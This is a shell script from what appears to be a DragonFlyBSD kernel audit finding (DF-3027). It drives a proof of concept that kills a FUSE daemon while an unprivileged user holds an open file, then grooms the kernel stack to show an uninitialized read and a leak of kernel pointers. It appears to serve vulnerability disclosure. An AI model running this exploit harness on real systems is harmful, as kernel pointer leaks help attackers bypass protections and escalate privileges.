⬢ DragonFlyBSD Kernel Audit
DF-3027 / run.sh
← back to finding ↓ download raw 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/bin/sh
# DF-3027 run: mount the normal daemon (root), maxx opens /mnt/fuse/target
# and waits; run.sh kills the daemon (dead=1), maxx then grooms the kernel
# stack and fstats the fuse fd -> marker echo (deterministic uninit-read
# proof) and kernel-pointer leak (readlink groom).
set -e
cd "$(dirname "$0")"
MNT=/mnt/fuse
GO=/tmp/df3027_go
kldstat -n fuse >/dev/null 2>&1 || kldload fuse
pkill -9 -f fuse_daemon 2>/dev/null || true
sleep 1
umount $MNT 2>/dev/null || true
sleep 1
mkdir -p $MNT
rm -f $GO

./fuse_daemon normal $MNT > daemon.log 2>&1 &
sleep 4
mount | grep -q "$MNT" || { echo MOUNT_MISSING; cat daemon.log; exit 1; }

cp stat_leak /tmp/stat_leak; chmod 755 /tmp/stat_leak
echo "=== mode marker (3 samples, fresh mount each) ==="
i=0
while [ $i -lt 3 ]; do
    rm -f $GO
    su -m maxx -c "/tmp/stat_leak marker $MNT/target $GO" > marker_$i.out 2>&1 &
    sleep 2
    pkill -9 -f fuse_daemon; sleep 1; touch $GO; sleep 1
    cat marker_$i.out
    # remount for next sample
    sleep 1; umount $MNT 2>/dev/null || true; sleep 1
    ./fuse_daemon normal $MNT >> daemon.log 2>&1 &
    sleep 4
    i=$((i+1))
done

echo "=== mode ptrs (3 samples) ==="
i=0
while [ $i -lt 3 ]; do
    rm -f $GO
    su -m maxx -c "/tmp/stat_leak ptrs $MNT/target $GO" > ptrs_$i.out 2>&1 &
    sleep 2
    pkill -9 -f fuse_daemon; sleep 1; touch $GO; sleep 1
    cat ptrs_$i.out
    sleep 1; umount $MNT 2>/dev/null || true; sleep 1
    ./fuse_daemon normal $MNT >> daemon.log 2>&1 &
    sleep 4
    i=$((i+1))
done

pkill -9 -f fuse_daemon 2>/dev/null || true
sleep 1; umount $MNT 2>/dev/null || true
echo "=== done ==="